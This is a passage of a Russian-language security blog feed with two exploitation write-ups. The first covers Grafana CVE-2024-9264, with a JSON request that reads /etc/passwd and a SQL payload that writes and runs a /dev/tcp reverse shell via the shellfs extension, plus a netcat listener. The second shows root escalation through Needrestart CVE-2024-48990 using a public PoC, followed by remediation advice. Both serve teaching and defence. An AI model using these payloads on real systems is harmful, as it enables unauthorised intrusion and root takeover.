      &lt;li id=&quot;yJRg&quot;&gt;&lt;strong&gt;expression&lt;/strong&gt;: Само &lt;code&gt;SQL&lt;/code&gt;-выражение, которое должно быть выполнено. В данном случае это &lt;code&gt;&amp;quot;SELECT content FROM read_blob(\&amp;quot;/etc/passwd\&amp;quot;)&amp;quot;&lt;/code&gt;, что пытается прочитать содержимое файла &lt;code&gt;/etc/passwd&lt;/code&gt; .&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;FgST&quot;&gt;{
   &amp;quot;queries&amp;quot;: [
      {
        &amp;quot;refId&amp;quot;: &amp;quot;GIS&amp;quot;,
        &amp;quot;datasource&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;GIS&amp;quot;,
        &amp;quot;uid&amp;quot;: &amp;quot;__expr__&amp;quot;,
        &amp;quot;name&amp;quot;: &amp;quot;GIS&amp;quot;
      },
      &amp;quot;type&amp;quot;: &amp;quot;sql&amp;quot;,
      &amp;quot;hide&amp;quot;: false,
      &amp;quot;expression&amp;quot;: &amp;quot;SELECT content FROM read_blob(\&amp;quot;/etc/passwd\&amp;quot;)&amp;quot;, &amp;quot;window&amp;quot;: &amp;quot;&amp;quot;
   }
   ],
   &amp;quot;from&amp;quot;: &amp;quot;1729313027261&amp;quot;,
   &amp;quot;to&amp;quot;: &amp;quot;1729334627261&amp;quot;
}&lt;/pre&gt;
  &lt;figure id=&quot;yenN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/e8/c5e89e8f-72ee-48b1-8893-eb4daf2aa2ae.png&quot; width=&quot;1869&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GGjs&quot;&gt;Также, уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; позволяет получить обратную оболочку.&lt;/p&gt;
  &lt;p id=&quot;zxp2&quot;&gt;PoC:&lt;/p&gt;
  &lt;pre id=&quot;7Yei&quot;&gt;&amp;quot;SELECT 1;COPY (SELECT &amp;#x27;sh -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.111/4444 0&amp;gt;&amp;amp;1&amp;#x27;) TO &amp;#x27;/tmp/rev&amp;#x27;; SELECT 1;install shellfs from community; LOAD shellfs;SELECT * FROM read_csv(&amp;#x27;bash /tmp/rev |&amp;#x27;);&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;sd0l&quot;&gt;У себя в терминале подняли слушатель на &lt;code&gt;4444&lt;/code&gt; порту.&lt;/p&gt;
  &lt;pre id=&quot;csR5&quot;&gt;rlwrap nc -lvnp 4444&lt;/pre&gt;
  &lt;p id=&quot;ln63&quot;&gt;Отправили запрос к &lt;code&gt;api&lt;/code&gt; и получили обратное соединение.&lt;/p&gt;
  &lt;figure id=&quot;0Lpj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/e0/2de0e02b-8dc7-4c18-b6cb-8a8606a68329.png&quot; width=&quot;1539&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mx4F&quot;&gt;Этот &lt;code&gt;SQL&lt;/code&gt;-запрос представляет собой получение обратной оболочки через базу данных:&lt;/p&gt;
  &lt;ul id=&quot;IFmS&quot;&gt;
    &lt;li id=&quot;nJvd&quot;&gt;&lt;code&gt;SELECT 1;&lt;/code&gt; – просто возвращает значение &lt;code&gt;1&lt;/code&gt; , чтобы начать выполнение.&lt;/li&gt;
    &lt;li id=&quot;ryDP&quot;&gt;&lt;code&gt;COPY (SELECT &amp;#x27;sh -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.111/4444 0&amp;gt;&amp;amp;1&amp;#x27;) TO &amp;#x27;/tmp/rev&amp;#x27;;&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;YJAc&quot;&gt;
      &lt;li id=&quot;rZEu&quot;&gt;Создает файл &lt;code&gt;/tmp/rev&lt;/code&gt; с содержимым команды для обратного шелла, которая будет пытаться установить соединение с &lt;code&gt;IP&lt;/code&gt;-адресом &lt;code&gt;192.168.0.111&lt;/code&gt; на порту &lt;code&gt;4444&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;DrTK&quot;&gt;&lt;code&gt;SELECT 1;&lt;/code&gt; – снова возвращает &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;WwO2&quot;&gt;&lt;code&gt;install shellfs from community; LOAD shellfs;&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;rUBP&quot;&gt;
      &lt;li id=&quot;SdvM&quot;&gt;Устанавливает и загружает расширение базы данных под названием &lt;code&gt;shellfs&lt;/code&gt; . Это расширение позволяет выполнять системные команды непосредственно из &lt;code&gt;SQL&lt;/code&gt;-запросов.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;AKvP&quot;&gt;&lt;code&gt;SELECT * FROM read_csv(&amp;#x27;bash /tmp/rev |&amp;#x27;);&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;qGM4&quot;&gt;
      &lt;li id=&quot;0d9n&quot;&gt;Выполняет команду &lt;code&gt;bash /tmp/rev&lt;/code&gt; , которая запускает созданный ранее скрипт для установления обратного соединения с удаленным сервером.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;mFXz&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ZtpI&quot;&gt;Уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; возникает из-за недостаточного контроля над тем, какие &lt;code&gt;SQL&lt;/code&gt;-запросы могут быть выполнены через экспериментальную функцию &lt;code&gt;SQL&lt;/code&gt;-выражений в &lt;code&gt;Grafana&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;DwVP&quot;&gt;Экспериментальная функция позволяет пользователям вводить произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы, которые затем выполняются базой данных &lt;code&gt;DuckDB&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;6RoU&quot;&gt;При отсутствии должной фильтрации и экранирования вводимых данных злоумышленник может внедрить вредоносные &lt;code&gt;SQL&lt;/code&gt;-команды, что приведет к выполнению недопустимых действий на сервере.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:Needrestart_CVE_2024_48990</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/Needrestart_CVE_2024_48990?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Linux LPE через Needrestart (CVE-2024-48990)</title><published>2024-12-02T12:29:50.499Z</published><updated>2024-12-02T12:29:50.499Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/32/09/3209d503-76ba-4d0b-8079-e802927899d5.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/3b/df/3bdf0db8-0fa9-4c1f-a167-9536eee7ab6a.png&quot;&gt;19 ноября 2024 года компания Qualys публично раскрыла информацию о пяти уязвимостях в утилите Needrestart. Эти уязвимости касаются локальной эскалации привилегий(LPE) и были найдены в бинарном файле. CVE-2024-48990 затрагивает версии Needrestart до 3.8. В Ubuntu она применяется по умолчанию с версии 21.04. Также проблема актуальна для Debian, Fedora и других дистрибутивов Linux.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;W7yv&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gNxP&quot;&gt;19 ноября 2024 года компания &lt;code&gt;Qualys&lt;/code&gt; публично раскрыла информацию о пяти уязвимостях в утилите &lt;code&gt;Needrestart&lt;/code&gt;. Эти уязвимости касаются локальной эскалации привилегий(&lt;code&gt;LPE&lt;/code&gt;) и были найдены в бинарном файле. &lt;code&gt;CVE-2024-48990&lt;/code&gt; затрагивает версии &lt;code&gt;Needrestart&lt;/code&gt; до &lt;code&gt;3.8&lt;/code&gt;. В &lt;code&gt;Ubuntu&lt;/code&gt; она применяется по умолчанию с версии &lt;code&gt;21.04&lt;/code&gt;. Также проблема актуальна для &lt;code&gt;Debian&lt;/code&gt;, &lt;code&gt;Fedora&lt;/code&gt; и других дистрибутивов &lt;code&gt;Linux&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;c0hJ&quot;&gt;&lt;code&gt;LPE&lt;/code&gt; (&lt;code&gt;Local Privilege Escalation&lt;/code&gt;) позволяет злоумышленнику повысить свои привилегии в системе, получив доступ к действиям, доступным только администраторам (например, &lt;code&gt;root&lt;/code&gt;-доступ). Это может использоваться для установки вредоносного ПО, управления системой, обхода ограничений безопасности и доступа к конфиденциальным данным. Основная цель — получить полный контроль над системой.&lt;/p&gt;
  &lt;p id=&quot;FrJR&quot;&gt;Уязвимость имеет оценку в &lt;code&gt;7.8&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;SN7O&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;f8vB&quot;&gt;Что такое Needrestart&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gfuj&quot;&gt;&lt;strong&gt;Needrestart&lt;/strong&gt; — это утилита для &lt;code&gt;Linux&lt;/code&gt;, которая проверяет, какие службы или процессы нужно перезапустить после обновления системных библиотек. Она помогает гарантировать, что обновления безопасности применяются ко всем запущенным процессам, минимизируя риски использования устаревших библиотек. Утилита особенно полезна для серверов, где важно поддерживать актуальное состояние сервисов без полного перезагрузки системы.&lt;/p&gt;
  &lt;figure id=&quot;NH27&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3b/df/3bdf0db8-0fa9-4c1f-a167-9536eee7ab6a.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;IHKk&quot;&gt;Разбор уязвимости&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dC3o&quot;&gt;&lt;strong&gt;LPE (Local Privilege Escalation)&lt;/strong&gt; — это тип атаки, при котором злоумышленник использует уязвимость или неправильную конфигурацию системы, чтобы повысить свои права с обычного пользователя до администратора (например, root-доступ в &lt;code&gt;Linux&lt;/code&gt;). Это дает возможность выполнять критически важные команды, изменять системные настройки, получать доступ к защищенным данным и устанавливать вредоносное ПО. &lt;code&gt;LPE&lt;/code&gt; часто используется в связке с другими методами атак для усиления их эффективности или распространения угрозы на другие устройства.&lt;/p&gt;
  &lt;p id=&quot;JnUY&quot;&gt;&lt;code&gt;CVE-2024-48990&lt;/code&gt; возникает из-за уязвимости в обработке переменных окружения утилитой &lt;code&gt;Needrestart&lt;/code&gt;, используемой в &lt;code&gt;Linux&lt;/code&gt; для проверки и перезапуска сервисов после обновления библиотек. Проблема связана с тем, что утилита до версии &lt;code&gt;3.8&lt;/code&gt; некорректно обрабатывает переменную &lt;code&gt;PYTHONPATH&lt;/code&gt;. Это позволяет локальному атакующему указать поддельный путь для &lt;code&gt;Python&lt;/code&gt;-интерпретатора, что может привести к выполнению произвольного кода с привилегиями &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;17Bo&quot;&gt;Ошибка стала возможной из-за недостаточного контроля содержимого переменных окружения, используемых для настройки путей загрузки модулей интерпретаторов (&lt;code&gt;Python&lt;/code&gt;, &lt;code&gt;Perl&lt;/code&gt;, &lt;code&gt;Ruby&lt;/code&gt;). Это делает утилиту уязвимой к манипуляциям со стороны локальных пользователей, которые могут подменить пути на вредоносные библиотеки или скрипты.&lt;/p&gt;
  &lt;p id=&quot;u1kD&quot;&gt;Чтобы проверить уязвима ли ваша система можно выполнить команду:&lt;/p&gt;
  &lt;pre id=&quot;82zc&quot;&gt;needrestart --version | grep -q &amp;quot;3.7&amp;quot; &amp;amp;&amp;amp; echo &amp;quot;Definitely vulnerable&amp;quot; || echo &amp;quot;Version is potentially not vulnerable, this simply checks for 3.7&amp;quot;&lt;/pre&gt;
  &lt;figure id=&quot;LrZ2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bd/9a/bd9ae8ad-0efb-480d-823d-0edfe6348a9d.png&quot; width=&quot;1203&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UgOs&quot;&gt;Для демонстрации эксплуатации воспользуемся публичным эксплойтом:&lt;/p&gt;
  &lt;pre id=&quot;q0jb&quot;&gt;git clone https://github.com/pentestfunctions/CVE-2024-48990-PoC-Testing.git&lt;/pre&gt;
  &lt;p id=&quot;F1F6&quot;&gt;Получив первоначальный доступ к системе от обычного пользователя запустим скрипт для прослушивания:&lt;/p&gt;
  &lt;pre id=&quot;Q5ry&quot;&gt;cd CVE-2024-48990-PoC-Testing
./runner.sh&lt;/pre&gt;
  &lt;figure id=&quot;Y2y2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/a4/eaa4890c-aca1-4877-90d7-431ab8a21c90.png&quot; width=&quot;576&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gset&quot;&gt;Чтобы уязвимость отработала необходимо подождать, пока другой пользователь в системе выполнит обновление или что-то, что вызовет необходимость использования утилиты &lt;code&gt;Needrestart&lt;/code&gt;, в нашем случае мы устанавливаем пакет &lt;code&gt;ntp&lt;/code&gt;, что автоматически ее запускает:&lt;/p&gt;
  &lt;pre id=&quot;7RCl&quot;&gt;sudo apt remove ntp; sudo apt install ntp&lt;/pre&gt;
  &lt;figure id=&quot;sRBd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/dd/aedd4336-0adc-48c3-ad2a-1a5c7d625677.png&quot; width=&quot;1521&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0tX1&quot;&gt;Получаем доступ к &lt;code&gt;root&lt;/code&gt;-пользователю:&lt;/p&gt;
  &lt;figure id=&quot;fTv0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6c/14/6c1434f9-fe60-4d14-8103-72cb058c9f99.png&quot; width=&quot;581&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9z9H&quot;&gt;Получаем &lt;code&gt;root&lt;/code&gt;-флаг:&lt;/p&gt;
  &lt;figure id=&quot;sUmj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/22/8422d187-43bd-4716-a934-30e37b64179d.png&quot; width=&quot;556&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;tnwM&quot;&gt;Рекомендации по устранению&lt;/h2&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;32K0&quot;&gt;
    &lt;li id=&quot;CZ5U&quot;&gt;Установите версию &lt;code&gt;Needrestart 3.8&lt;/code&gt; или выше, где уязвимость устранена.&lt;/li&gt;
    &lt;li id=&quot;0SNa&quot;&gt;Отключите сканирование интерпретаторов в файле &lt;code&gt;/etc/needrestart/needrestart.conf&lt;/code&gt;, добавив строку: &lt;code&gt;$nrconf{interpscan} = 0;&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;c0br&quot;&gt;Регулярно проверяйте переменные окружения и активность системы, чтобы выявлять подозрительные действия.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;R7L3&quot;&gt;Заключение&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wIKu&quot;&gt;В заключение, &lt;code&gt;CVE-2024-48990&lt;/code&gt; демонстрирует, как эксплуатация уязвимости в системной утилите может привести к серьезным последствиям, таким как получение прав root и доступ к конфиденциальным данным.&lt;/p&gt;
  &lt;p id=&quot;7bL6&quot;&gt;Инцидент служит напоминанием о необходимости регулярного обновления ПО, тщательной настройки переменных окружения и использования дополнительных защитных механизмов.&lt;/p&gt;

</content></entry></feed>